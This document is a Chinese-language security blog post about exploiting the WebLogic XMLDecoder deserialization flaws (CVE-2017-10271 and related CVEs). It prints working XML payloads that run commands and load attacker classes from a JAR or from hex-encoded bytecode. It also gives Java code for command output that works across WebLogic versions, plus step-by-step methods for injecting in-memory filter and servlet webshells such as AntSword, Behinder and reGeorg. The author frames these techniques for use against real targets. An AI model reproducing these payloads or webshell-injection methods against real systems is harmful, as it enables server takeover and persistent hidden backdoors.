Weblogic xmldecoder反序列化中的命令回显与内存马总结
首发先知社区:https://xz.aliyun.com/t/10323
虽说weblogic xmldecoder的洞是几年前的,但是之前内外网场景下老是遇到,大多数情况是不出网、不方便写webshell(weblogic负载均衡,轮询)场景,需要解决的问题就是回显构造和内存马的植入。所以想花个时间来总结一下。
而说到回显、内存马植入的文章网上越来越多,看了文章都知道有哪些方法,比如回显问题大多数都知道有找request、URLClassloader报错、rmi调用那些,一说内存马都知道servlet、filter、listener马,都知道怎么去写个Demo。
但是实际结合到场景去做总是会遇到一些问题,所以自己想着还是多动手实践,毕竟talk is cheap。
0x01 weblogic xmldecoder 反序列化漏洞
debug 环境搭建:
修改 domain 的 bin 目录下面的 startWebLogic.cmd 文件,在前边部分加上以下行:
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
之后就是常规添加libraries和weblogic服务器就不截图了,写个filter断点测试下:
涉及CVE:
-
CVE-2017-3506
-
CVE-2017-10271
-
CVE-2019-2725
三个CVE都是对最初漏洞的不停绕过,CVE-2017-3506
修补方案为禁用 object
标签,CVE-2019-2725,由于组件_async存在反序列化。
原理简单说就是WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞
CVE-2017-10271 简单流程
这个洞网上很多过程文章,不贴过程了
简单跟一下, 处理是在readHeaderOld
方法,进入到weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
后ByteArrayOutputStream bao为实际传入获内存缓冲区的数据,转换成字节数组,在使用WorkContextXmlInputAdapter
时又把字节数组用ByteArrayInputStream
转化为输入流,最后转成XmlDecoder对象
最后跟到readUTF函数中调用readObject( )方法进行反序列化操作,代码执行。
payload中的xmlencoder 标签
文档:XMLEncoder (Java SE 9 & JDK 9 ) (oracle.com)
因为这三个cve都是针对前面的绕过
CVE-2017-10271是通过void
、new
标签对CVE-2017-3506补丁的绕过。标签这里也不贴那么多了,可以看已有的文章对标签的解释:
最早poc使用object 标签来表示对象:
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start" />
</object>
一些payload中常用的标签:
object或void标签用于初始化对象,属性class的值是初始化对象所属的类
<object class="java.io.xxx"> </object>
函数调用使用void 标签,属性method的值是调用的方法
a.fun1("haha").fun2()
<void method="fun1">
<string>haha</string>
<void method="fun2"></void>
</void>
#如果func1、func2是a.func1;a.func2这种只需要把 <void method="fun2"></void>写在第一对void标签外即可,表平行的关系。
id或者idref标签是进行标记,和引用标记的
<void property="attr" id="attr_id"></void> #对属性进行了id标记
<void method="func1"><object idref="className"></object></void>#引用了id为className的对象
为啥可以使用void,new
标签替换?
XMLDecoder对每种支持的标签都实现了一个继承了ElementHandler
的类,在DocumentHandler
的构造函数中就可以看到,写个XMLDecode测试,跟进XMLDecoder的readObject函数,随后跟入parsingComplete函数,再到parse函数,最后一路跟到javax.xml.parsers.SAXParserFactory#newSAXParser可以看到this.handlers参数包含了所有元素对应的解析器:
而在绕过中可以使用void,new
标签替换即可,能等效替换的原因是处理void、new
的标签NewElementHandler、ObjectElementHandler
最后都是调用newelementhandler
的addAttribute
方法获得类:
具体xmldecoder解密流程可以参加这篇师傅的文章,https://xz.aliyun.com/t/5069,有兴趣可以再调一下,这里不贴了。
0x02 Weblogic xmldecoder反序列命令回显构造
这个部分我把如何找回显和构造大版本上通用回显(找上下文)的过程贴详细在这里,可能啰嗦,但是理解了如何去找以后,可以把通用回显和打入通用内存马的payload都构造出来,因为都会用到上下文的部分。
通用的获得回显的思路就是获取当前web上下文对象,比如request和response来设置传入和响应的内容,有的中间件一般存储在当前线程对象中,又或者存储在静态变量或者特定类里。获取的流程大致是从web中获取当前上下文对象(response、context、writer等)然后拿到回显,而在weblogic中的ServletResponse
类,其中的getWriter
和getOutputStream
方法可以进行输出回显。
weblogic 输入接受类ServletRequestImpl
weblogic.servlet.internal.ServletRequestImpl
提供了接收参数、请求头等输入方式的函数:
不过在xml反序列这几个洞中这个输入类都用不到,因为我们反序列化时候本来就可以调用xx类的xx方法进行参数的传入(比如传入执行的命令whoami)。
weblogic 回显输出类ServletResponseImpl
10和12中都有weblogic.servlet.internal.ServletResponseImpl
这个类,其中的getServletOutputStream
和getWriter
可作为输出:
测试输出:
如上,只要拿到了ServletResponseImpl
类即可完成后续执行回显,但是weblogic 12 和10中拿到ServletResponseImpl
的流程和方法是不一样的,以至于回显payload大多数不通用,拿@shack2师傅写过的工具举例子。
weblogic 10 和 weblogic 12 构造回显差别:
常见payload为dnslog出网探测、Linux反弹shell,稍微方便一些的就是执行命令带回显,比如shack2的工具:
调一下工具查看它发送的的payload,先来看weblogic 12
weblogic12 命令回显调试:
exeCMD方法下断:
复制值出来:
发送的payload如上,可以看到还是调用了org.mozilla.classfile.DefiningClassLoader
类的defineClass函数来传入自定义的恶意类,利用defineClass加载byte[]返回Class对象,很多poc调用DefiningClassLoader
类的原因是他重写了defineClass
而且是public
属性,通过newInstance方法实例化恶意类并调用相应方法,解码了反编译查看就是个命令执行的马:
主要看这里他工具中weblogic12 版本怎么拿到的ServletResponseImpl
类:
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
ServletResponseImpl response = this.getServletResponse();
response.getServletOutputStream().writeStream(proc.getInputStream());
this.getServletResponse().getWriter().flush();
可以看到在 ServletResponseImpl response = this.getServletResponse();
拿到的ServletResponseImpl
,跟进getServletResponse(),发现在getHttpConnectionHandler
中拿到了HttpConnectionHandler
:
为啥在weblogic12中需要拿到HttpConnectionHandler类?
跟进了一下发现,在weblogic.servlet.internal.HttpConnectionHandler
中是有获得ServletRequestImpl、ServletRequestImpl
类的私有成员的:
对应获取的getServletRequest、getServletResponse
方法:
所以,只要拿到HttpConnectionHandler中getServletResponse方法就能拿到ServletResponseImpl
这个类,最后实例化后执行getServletOutputStream
和getWriter
方法即可拿到回显。
再回到刚才payload中的getHttpConnectionHandler方法,获取了当前线程对象后进行了一个反射取字段的操作:
为啥在拿到HttpConnectionHandler类的时候需要反射connectionHandler字段?
如上图,当时看的时候疑惑这里反射获取connectionHandler
字段的原因,所以自己调试一下发现getCurrentWork
获取的是ContainerSupportProviderImpl
:
跟进ContainerSupportProviderImpl
类,查找connectionHandler
字段,发现在WlsRequestExecutor
这个内部类中,而拿到connectionHandler字段可以拿到HttpConnectionHandler
类:
调试完了回到刚才的getServletResponse
中,通过如上对ContainerSupportProviderImpl类的connectionHandler
字段的获取,就能拿到HttpConnectionHandler
类,然后通过response = httpConnectionHandler.getServletRequest().getResponse();
,就能拿到response了,自然后面就能拿到回显:
后面搜文章也发现lufei师傅在https://xz.aliyun.com/t/5299中构造回显也说过这个12中回显构造方法,说的很清楚,因为没有getter
方法,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取这个属性。
所以工具中weblogic12 获取回显的思路:
- 调用
org.mozilla.classfile.DefiningClassLoader
来加载恶意的自定义类 - 恶意的自定义类中使用当前线程类获得
ContainerSupportProviderImpl
类,通过对ContainerSupportProviderImpl
类connectionHandler
字段的反射获得了HttpConnectionHandler
类,再有HttpConnectionHandler
类的getServletResponse
方法就能拿到ServletResponseImpl
类来完成后面的回显。
ps:
工具中是通过base64将自定义恶意类的字节数组传入到classloader中再解密的,如果实战中有环境拦截这部分特征的话也很好改,换传入的格式就行,例子weblogic.utils.Hex
中自带的的fromHexString
也可以拿来做接受类字节数组的解码方法。payload中传入类字节数组的hex格式再调用weblogic.utils.Hex#fromHexString
还原即可:
自定义恶意类:
自定义恶意类后转成字节数组再转hex,传入fromHexString函数:
再来看工具中weblogic10 命令回显方法
weblogic 10 命令回显方法
把payload复制出来查看
先看把传入的类解密后反编译,发现就是普通的命令执行马
拿回显部分是在对图中的红框部分,构造了拿到线程后再拿到response.getWriter().write("")
来回显:
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
12版本的payload中是反射拿到workadapter
的connectionHandler
字段来获得HttpConnectionHandler
类,再通过HttpConnectionHandler
拿到的ServletResponseImpl:
而10版本 中getCurrentWork
拿到的就直接是ServletResquestImpl
类,而ServletResquestImpl
类是有提供函数再获得ServletResponseImpl类的:
weblogic.servlet.internal.ServletRequestImpl#getResponse
所以10版本的构造就简单的多,WorkAdapter
和ServletRequestImpl
有继承关系,直接强转就行了:
所以这里WorkAdapter
父类可以直接强转ServletRequestImpl
子类:
同理,实战中传入给classloader时候将上述class字节数组转成hex、或base64格式再调用相应解码函数即可。
所以工具中weblogic 10 获取回显的思路:
- 调用
org.mozilla.classfile.DefiningClassLoader
来加载恶意的自定义类 - 恶意的自定义类中使用当前线程类获得
ServletResquestImpl
类,调用ServletResquestImpl
类中的getResponse
方法就可以拿到ServletResponseImpl
类来完成后面的回显。
0x03 weblogic 10和12版本通用命令回显payload:
如上 10版本和12版本 获得回显的异同
- 差异点在于通过当前weblogic线程类
getCurrentWork
函数拿到的类,是不同的。
10版本拿到的是ServletResquestImpl
类,12版本拿到的是ContainerSupportProviderImpl
类。
- 相同点是最后都拿到了
ServletResponseImpl
类,后续通过ServletResponseImpl
类其中的输出函数拿到回显。
所以通用回显可以在拿到线程返回的类进行一个判断,判断类名是如果有ContainerSupportProviderImpl
则是12版本,如果workAdapter
和ServletRequestImpl
有继承关系则是10版本:
ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
ServletResponseImpl servletResponse = null;
WorkAdapter workAdapter = executeThread.getCurrentWork();
WebAppServletContext webAppServletContext = null;
if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
/*weblogic 12 */
Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
servletResponse = httpConnectionHandler.getServletResponse();
} else if (workAdapter instanceof ServletRequestImpl) {
/*weblogic 10 */
ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
servletResponse = servletRequest.getResponse();
}
判断完成后拿到了ServletResponseImpl类,后续输出都是一样的:
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");
weblogic 10
weblogic 12
0x04 其他命令回显思路尝试
网上大多数总结除了拿上下文来回显之外,还有像RMI绑定实例、URLClassLoader抛异常回显、JNDI回显这些思路方法,我在一一拿来使用在xmldecoder反序列洞中时候发现部分并不适用,效果也没有拿上下文的好,贴一下尝试的记录。
java 调用 js 命令执行回显(推荐)
这个挺方便的也简单,javax.script.ScriptEngineManager来调用js,最早看的是宽字节发的文章
执行的js编码即可,poc网上宽字节是发过的,解出来自己改功能就好了,获得线程环境那些照着前面说的改就行
RMI /URLClassLoader 抛异常回显(不适用)
抛异常报错回显的方法在T3用的多,错误通过反序列化传输给客户端,但在xmldecoder这里不适用。
先来看URLClassLoader 抛异常,网上poc恶意类大多是这样,最后将执行命令的结果直接放异常抛出:
一般可以把恶意类打jar包,上传到服务器,上传使用FileOutputStream,然后用URLClassLoader 加载jar中的类。
但是这种回显实战洞中我很少见到过构造,xmldecoder反序列中没有把异常代码在返回中抛出,故这种方法不适用。
再来看RMI抛异常,原理不再叙述,参考文章:
https://paper.seebug.org/1442/#1-rmi
https://xz.aliyun.com/t/2223#toc-0
但是在weblogic寻找,大多数实现RMI接口的都是抛出java.rmi.RemoteException 异常,故也不适用
RMI绑定实例命令回显 (待解决)
老姿势了,这个可以参考weblogic_cmd,原理即通过漏洞调用classloader来自定义一个RMI接口类,这个类的实现方法中将回显返回。
weblogic利用rmi回显的工具都用的weblogic.cluster.singleton.ClusterMasterRemote
这个接口,命令回显覆写在getServerLocation方法:
但是这个方法我在T3洞用的多,一般是T3发送然后结合CC链来注册RMI接口类达到命令回显,y4er师傅就写过一篇这个内容https://xz.aliyun.com/t/7228,而xmldecoder反序列的话就简单很多了,我可以直接使用defineclass,所以想当然的拿过来用:
将上述文件class转hex(protected属性改public不然反射报权限异常)后打入:
调用却发现报溢出死循环错误:
报死循环的异常,晚上调了很久,rmi服务端下断loadclass找原因也没找出个所以然,调了个寂寞。
后面再想觉得思路没毛病,会不会问题在代码上,尝试动手把执行命令的函数注释,只返回一个字符串发现成功,那么问题就在这里
然后就一行行调试,发现在执行方法中不能new,直到最后错误定位到proc.getInputStream()
,如果不执行这句,正常bind和正常调用执行命令:
后面也没有调出来是为啥,辛苦su18师傅陪我一起找出错原因,很感谢,这个问题原因暂时未知。
JNDI 命令回显
jndi的话如果能出网利用com.sun.rowset.JdbcRowSetImpl可以打jndi回显,参考JNDI实现回显研究 - 安全客,安全资讯平台 (anquanke.com),但这篇本质最后去ldap服务器加载的恶意类里面还是找的web上下文来输出回显,并且能出网个人觉得没太大必要用这种方法。
还有一种和单独利用xmldecoder回显关系不大了,植入jndi实例,绑定一个reference供远端调用,攻击者(客户端)利用绑定的reference执行Weblogic服务器上的系统命令,并将结果返回给自己,打入的类中在weblogic目标中安装个JNDI实例,这里就不是单独只用xmldecoder这个洞了,xmldecoder洞只是拿来打入而已:
这个代码宽字节之前的cve-2020-14644 漏洞分析中就有现成的,https://www.cnblogs.com/unicodeSec/p/13451993.html,抄过来拿来用就是:
打入:
缺点众所周知就是这样做的话在JNDI树查看注册上去的Reference时,一眼就能看出注入的后门:
0x05 xmldecoder反序列化结合weblogic filter通用内存马
先来看大家用的最多的filter类型。
weblogic filter内存马原理与构造流程
weblogic filter的马最早我搜到的是宽字节发的https://www.cnblogs.com/potatsoSec/p/13162792.html,调的是12版本,在上面提到10版本和12版本回显流程的时候就知道,两个版本拿到上下文也就是request、response、context对象的流程和方法是不同的,所以payload不同。
但是可以效仿上面构造回显通用payload中对上下文的判断方法,构造个通用的weblogic filter注入马。
先来理一下种weblogic filter思路流程和重要的点,具体寻找filter过程看宽字节文章就行,不再叙述,
weblogic filter内存马重要的点:
-
weblogic中主要使用weblogic.servlet.internal.FilterManager这个类去管理系统中的
Filter
,这个类有两个重要的函数,一个是registerFilter
函数中进程注册filter,第二个是loadFilterFilter
实例化filter
-
但是在FilterManager只能传递ClassName,FilterManager通过ClassName去查找Class,所以构造payload的时候使用反射
-
filter中使用weblogic自己的classloader(weblogic.utils.classloaders.ChangeAwareClassLoader)去寻找class,在这个classloader的loadclass函数中从cacheClasses中查找是否存在待查找的类,如果存在,则直接返回该名称对应的Class
-
种植filter内存马的方法就是先在cachedClasses这个类中,put进去自己的马,然后再在registerFilter中进行注册filter
weblogic filter内存马流程:
大致流程:利用漏洞加载一个注入filter内存马的恶意类,恶意类再去加载真正的内存马(蚁剑冰蝎之类的webshell)。
这里拿weblogic 12版本举例。
1.拿到weblogic自己的classloader,weblogic.utils.classloaders.ChangeAwareClassLoader
获取当前线程类,通过反射等操作拿到上下文request、context对象(这一步 10版本和12版本有所不同前面说过),ChangeAwareClassLoader这个weblogic自己的classload从context对象中就能拿到,如下,取对象中的classloader属性即可:
2.在cachedClasses
类中插入恶意代码
因为ChangeAwareClassLoader的loadClass函数中会从cachedClasses
取类名为name的类,如果存在,则直接返回该名称对应的Class。
第一次看宽字节那篇文章的时候以为cachedClasses是个单独的类,调是时候才知道是个ConcurrentHashMap
类型,故后面反射调用cachedClasses的get、put方法也就不奇怪了:
3.调用FilterManager
的registerFilter函数进行filter的注册
因为weblogic中主要使用FilterManager去管理系统中的Filter,在FilterManager这类中使用registerFilter去注册、加载filter,故最后一步反射调用registerFilter这个函数来注册内存马:
如上可完成filter内存马的植入。
构造weblogic 10和12 版本 filter 通用注入内存马
构造通用的payload时,10版本和12版本filter的流程没啥变化,只是不同版本去拿上下文对象的流程是有变化的。参考前面回显通用的部分,所以这里只贴结论:
-
差异点在于通过当前weblogic线程类
getCurrentWork
函数拿到的类,是不同的。10版本拿到的是ServletResquestImpl
类,12版本拿到的是ContainerSupportProviderImpl
类。 -
相同点是最后都拿到拿到context对象,来进行filter内存马后续的植入。
所以在拿到context之前,进行一个判断:
后续都是一样,对context对象中的classload字段进行获取,因为classloader字段可以返回ChangeAwareClassLoader这个类
最后加载恶意的字节码class即可:
如果class编译得版本高于目标服务器jdk版本,会报Unsupported major.minor version 52.0
,jdk高版本能兼容低版本,但是低版本不能兼容高版本:
解决方法当然是注意编译内存马class文件使用的jdk版本。可以直接用1.7来编译。
实际问题中的xmldecoder打filter内存马的小问题
如上对通用filter内存马进行了构造,而其中这个注入filter会加载一个class文件,这个class文件就是马文件,蚁剑冰蝎之类的
这个最早我是搜到y4er https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/README.md这篇文章中的代码,当时候我也是用的这个方法打的环境:
先上传filter注入的类的jar包,再上传蚁剑类的class,最后通过漏洞去加载filter注入类,完成内存马的注入。
使用的是URLClassLoader来加载,支持对jar包加载:
打neo-ReGeorg正向代理也是,转换好了后同样的方法:
payload:
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.net.URLClassLoader">
<array class="java.net.URL" length="1">
<void index="0">
<object class="java.net.URL">
<string>file:///tmp/update.jar</string>
</object>
</void>
</array>
<void method="loadClass">
<string>weblogicupdate</string>
<void method="newInstance"></void>
</void>
</object>
</java>
但是有两个小地方可以改进:
-
1.实际测试是可用,但是实战中这样使用的话需要先上传一个打包好的jar包和一个蚁剑class,当时我遇到的问题是一个内网负载均衡,你传这两个文件需要打好多次来保证每台机器都上传成功,很累。稍微改一下就是把filter注入类和内存马类都转成字节数组来加载,一个包一步打通:
-
2.因为如果如第一点拿点把蚁剑class字节码硬编码就不太灵活,不如加载的类也做个接受,做到动态注入蚁剑、冰蝎、哥斯拉、reGerog等等
综上,改进最终filter马:
对filter注入类去加载的类改作传参,Hex2string方法是对传入的hex转字节数组,evilClass为你传入蚁剑字节数组的hex格式:
payload如下 第一段hex是filter注入类的hex,第二段hex是打入的蚁剑的hex:
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>22222
</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.qing.weblogic12_filterShell</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="result">
<string>11111
</string>
</void>
</void>
</void>
</void>
</java>
打入:
这样就能完成10版本和12版本通用,一个包打入动态注入蚁剑、冰蝎、reGeorg的内存马。
0x06 结合weblogic servlet、listener类型内存马
因为前面对context的区别寻找方法都知道了,在构造通用的servlet、listener内存马
servlet、listener原理参考网上的tomcat内存马。
weblogic servlet内存马
weblogic servlet内存马网上就两个文章,可能我理解能力不行,看不太明白,索性自己调下。
流程可以参考网上很多tomcat servlet内存马的文章,在tomcat servlet内存马种植流程中
核心找到负责管理 Servlet 的Wrapper类。
其中注入成功的关键点就是如何获取到Context,以及如何在servletMapping
添加servlet
.
1.weblogic 哪里存储着Servlet的路径映射关系?
自己写个servlet,查看哪里去查询了这个路径映射关系,以weblogic10 为例,调用栈如下:
明显看到weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#run存有我对自己定义的Servlet类和servlet名称:
然后在这里下断,慢慢往上去调试,一级一级下断,过程不贴了直接贴结果:
直到你下断到weblogic.servlet.internal.WebAppServletContext#resolveRequest
这个函数时候,,调了你会发现在URLMatchHelper var2 = (URLMatchHelper)this.servletMapping.get(var1);
这里var1为传入的uri,通过var1从servletMapping中匹配到合适的servlet
查看这个servletMapping,而servletMapping
就正好存储着Servlet的路径映射,get方法会调用getExactOrPathMatch方法,getExactOrPathMatch方法就是去matchMap中去匹配,有兴趣的师傅可以跟下:
重点是我们可以通过这个servletMapping
的put
方法,添加自己的servlet
。
2.weblogic 在哪里可以动态注册Servlet对象?
在第一个问题调试的时候,发现weblogic.servlet.internal.WebAppServletContext中就提供了registerServlet函数来注册Servlet。下断然后重启就能看到它自己调用registerServlet函数来注册,细节有兴趣师傅可以跟下这里不贴了:
综上weblogic10版本为例子,在URLMatchHelper
的servletMapping中查询servlet的路径映射关系,在WebAppServletContext
的registerServlet去注册servlet。
3.如何获得servletMapping并添加恶意servlet?
在第一个问题中说明了,weblogic.servlet.internal.WebAppServletContext
中的servletMapping
使用put方法可以添加我们想加的servlet,经查找发现WebAppServletContext提供了获得servletMapping的方法:
构造通用welogic servlet内存马
10版本和12版本拿到context的区别前面都有说,这里不贴了。后面就是对servlet的注册和添加。
上面提的2、3问题可以看出,注册servlet内存马有两个方法,一个是通过拿到servletMapping
来添加恶意的servlet
,另一个是通过调用registerServlet
函数来注册恶意的servlet
。
1.调用registerServlet
函数来注册恶意的servlet
在拿到context后,只需要调用registerServlet函数即可:
2.反射拿到servletMapping字段,put方法恶意的servlet
这种要麻烦一些,我们先看调用这个put需要哪些东西。
直接在put下断,重启weblogic,看看它自己怎么加的:
我自己设置的servlet路径是Funservlet,你一直在这里F9会一直等不到自己设定servlet那个请求,下个条件断点:
其中传入的URLMatchHelper 如上,发现调用put第一个参数就是servlet路径,第二个是传入的URLMatchHelper 类。
第一个参数是取的URLMatchHelper 类的pattern字段,有兴趣的可以自己跟一下。
第二个参数是URLMatchHelper 类实例,我们需要知道如何创建才方便反射构造:
weblogic.servlet.internal.URLMatchHelper#URLMatchHelper
构造函数如下,var1
为servlet
路径,var2
为ServletStubImpl
对象:
所以现在问题变成如何实例化ServletStubImpl类对象,查看其构造函数。
weblogic.servlet.internal.ServletStubImpl#ServletStubImpl
var1为servlet路径,var2为添加的servlet名词, var3为context对象,如下:
所以到如上,我们就写了,因为var1,var2是字符串,var3为context对象,前面也说了如果通用去拿context。
所以流程就是
先用context获取到servletMapping,因为servletMapping的put方法需要servlet路径和URLMatchHepler实例,所以第二步为反射创建ServletStub,传入URLMatchHepler构造函数并创建其实例,第三步就是调用put方法:
把servlet内存马结合xmldecoder反序列化的步骤如前面一样,这样不再叙述。
weblogic listener内存马
这个就不贴了,context
中提供了注册listener
函数:
实际调过在filter链中有封装了listener,和前面一样还是要去注册触发和注册的地方,这个就没继续弄了。
Links
https://zhuanlan.zhihu.com/p/396552602
https://xz.aliyun.com/t/8465#toc-3
https://gist.github.com/atxsinn3r/2172f2bc6ea964066d19a122bbf8f23c
https://blog.csdn.net/weixin_39541600/article/details/110078172
https://paper.seebug.org/1316/
https://mp.weixin.qq.com/s/svJQ6R-VMzlTMuvgwumQiQ
------------------------------------------------------------------------------------